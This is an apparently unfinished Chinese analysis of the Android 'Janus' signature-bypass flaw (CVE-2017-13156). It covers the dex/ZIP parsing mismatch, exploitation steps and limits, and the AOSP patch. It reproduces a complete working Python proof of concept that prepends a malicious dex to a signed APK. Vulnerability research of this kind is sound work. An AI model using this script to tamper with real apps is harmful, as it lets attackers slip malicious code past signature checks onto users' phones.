(待补充)安卓“Janus”漏洞分析(CVE-2017-13156)

简介

“Janus”漏洞是Google在12月发布的安卓系统的安全公告中披露的,由移动安全公司GuardSquare 的研究团队发现,漏洞编号:CVE-2017-13156。该漏洞的可以绕过Andorid的签名校验机制,攻击者可以利用漏洞通过升级的方式对App进行篡改。

由于安卓系统中App的安全和可信都是建立在签名和校验基础之上,“Janus”漏洞绕过了系统的签名校验,可以说是突破了安卓整个安全机制,导致安卓整个安全体系的沦陷。

一旦攻击者将植入恶意代码的仿冒的App投放到安卓商店等第三方应用市场,就可替代原有的App做下载、更新。网友安装这些仿冒App后,不仅会泄露个人账号、密码、照片、文件等隐私信息,手机更可能被植入木马病毒,进而或导致手机被ROOT,甚至被远程操控。

影响范围

  1. 安卓5.0-8.0的各个版本系统;
  2. 使用安卓Signaturescheme V1签名的App APK文件。

由于,signature scheme V2需要对App进行重新发布,而大量的已经存在的App APK无法使用V2校验机制,所以为了保证向前兼容性,V1的校验方式的还被保留,故该漏洞影响范围较大。

漏洞分析

漏洞原理

1、安卓在4.4中引入了新的执行虚拟机ART,这个虚拟机经过重新的设计,实现了大量的优化,提高了应用的运行效率。与“Janus”有关的一个技术点是,ART允许运行一个raw dex,也就是一个纯粹的dex文件,不需要在外面包装一层zip。而ART的前任DALVIK虚拟机就要求dex必须包装在一个zip内部且名字是classes.dex才能运行。当然ART也支持运行包装在ZIP内部的dex文件,要区别文件是ZIP还是dex,就通过文件头的magic字段进行判断:ZIP文件的开头是‘PK’, 而dex文件的开头是’dex’.

1
代码部分

2、APK本质是一个ZIP文件,ZIP文件的读取方式是通过在文件末尾定位central directory, 然后通过里面的索引定位到各个zip entry,每个entry解压之后都对应一个文件。

1
代码部分

因此:

  • 对于上述1,ART通过文件头判断是否为dex文件,然后按照dex的格式进行解析,而如果在dex文件之后附加其他数据,完全不影响其工作机制
  • 对于上述2,系统在解析一个APK文件时,是从文件末尾寻找central directory标志,然后依次展开解析的。如果在一个ZIP文件头部追加任意数据,也完全不影响整个APK解析过程。(ZIP/APK文件中数据的偏移需要改动)

所以,攻击者构造一个(恶意dex+合法APK)文件,并修改好APK中部分数据的偏移,如下图,则可以同时满足上述两个条件。而上述1为Android执行代码的入口,即ART会执行我们构造的恶意dex;上述2完成解析后会对APK进行签名校验,实际校验时,参与校验运算的数据均为合法APK的数据。

upload successful

简而言之,构造的畸形文件既可以通过签名校验部分,又可以执行攻击者构造的任意代码,巧妙的绕过Android的应用安全机制。

漏洞利用

  1. 攻击者可以向APK文件的开始位置放置一个攻击的DEX文件A;
  2. 安卓系统在安装时用ZIP的读取机制从末尾开始进行文件的读取,读取到了原始的APK内容,并且以V1的方式进行校验,认为这个文件是正常的,没有篡改,APK安装成功;
  3. 在运行时,Android的ART虚拟机从文件头开始读取,发现是一个DEX文件,直接执行,攻击文件A被最终执行。

利用代码如下,来自V-E-O的github
https://github.com/V-E-O/PoC/tree/373104bea150895e10879e87fcecfa0318c82647/CVE-2017-13156

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
#!/usr/bin/python

import sys
import struct
import hashlib
from zlib import adler32

def update_checksum(data):
m = hashlib.sha1()
m.update(data[32:])
data[12:12+20] = m.digest()

v = adler32(buffer(data[12:])) & 0xffffffff
data[8:12] = struct.pack("<L", v)

def main():
if len(sys.argv) != 4:
print("usage: %s dex apk out_apk" % __file__)
return

_, dex, apk, out_apk = sys.argv

with open(dex, 'rb') as f:
dex_data = bytearray(f.read())
dex_size = len(dex_data)

with open(apk, 'rb') as f:
apk_data = bytearray(f.read())
cd_end_addr = apk_data.rfind('\x50\x4b\x05\x06')
cd_start_addr = struct.unpack("<L", apk_data[cd_end_addr+16:cd_end_addr+20])[0]
apk_data[cd_end_addr+16:cd_end_addr+20] = struct.pack("<L", cd_start_addr+dex_size)

pos = cd_start_addr
while (pos < cd_end_addr):
offset = struct.unpack("<L", apk_data[pos+42:pos+46])[0]
apk_data[pos+42:pos+46] = struct.pack("<L", offset+dex_size)
pos = apk_data.find("\x50\x4b\x01\x02", pos+46, cd_end_addr)
if pos == -1:
break

out_data = dex_data + apk_data
out_data[32:36] = struct.pack("<L", len(out_data))
update_checksum(out_data)

with open(out_apk, "wb") as f:
f.write(out_data)

print ('%s generated' % out_apk)


if __name__ == '__main__':
main()

需要注意的是,ART在执行恶意dex时,由于需要和真实APK中的AndroidManifest.xml相对应,多数情况下受到很多限制,例如:

  • 用来构造畸形文件的APK必须是被攻击APP的新版本,否则Android系统会拒绝安装
  • 恶意dex的包名、入口类等需要与被攻击APP完全一致
  • 恶意dex需要实现被攻击APK的provider
  • 标签里的android:name类需要实现
  • setContentView的资源文件id需要和被攻击APP一致
  • 通过重打包的方式构造攻击dex文件市,需要考虑原APK为多dex的情况,因为此漏洞只能执行一个恶意dex文件

漏洞修复

修复代码如下,在解析APK的时候对文件头(LocalFileHeader::kSignature)进行了验证,如果文件头不对,停止解析。
https://android.googlesource.com/platform/system/core/+/9dced1626219d47c75a9d37156ed7baeef8f6403%5E%21/#F0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
diff --git a/libziparchive/zip_archive.cc b/libziparchive/zip_archive.cc
index 78de40a..d0bbd72 100644
--- a/libziparchive/zip_archive.cc
+++ b/libziparchive/zip_archive.cc
@@ -441,6 +441,22 @@
return -1;
}
}
+
+ uint32_t lfh_start_bytes;
+ if (!archive->mapped_zip.ReadAtOffset(reinterpret_cast<uint8_t*>(&lfh_start_bytes),
+ sizeof(uint32_t), 0)) {
+ ALOGW("Zip: Unable to read header for entry at offset == 0.");
+ return -1;
+ }
+
+ if (lfh_start_bytes != LocalFileHeader::kSignature) {
+ ALOGW("Zip: Entry at offset zero has invalid LFH signature %" PRIx32, lfh_start_bytes);
+#if defined(__ANDROID__)
+ android_errorWriteLog(0x534e4554, "64211847");
+#endif
+ return -1;
+ }
+
ALOGV("+++ zip good scan %" PRIu16 " entries", num_entries);

return 0;

其他

为什么V2签名机制不受影响?

APK+APK的方式是否可行?

recovery如何验证签名?

历史上的签名漏洞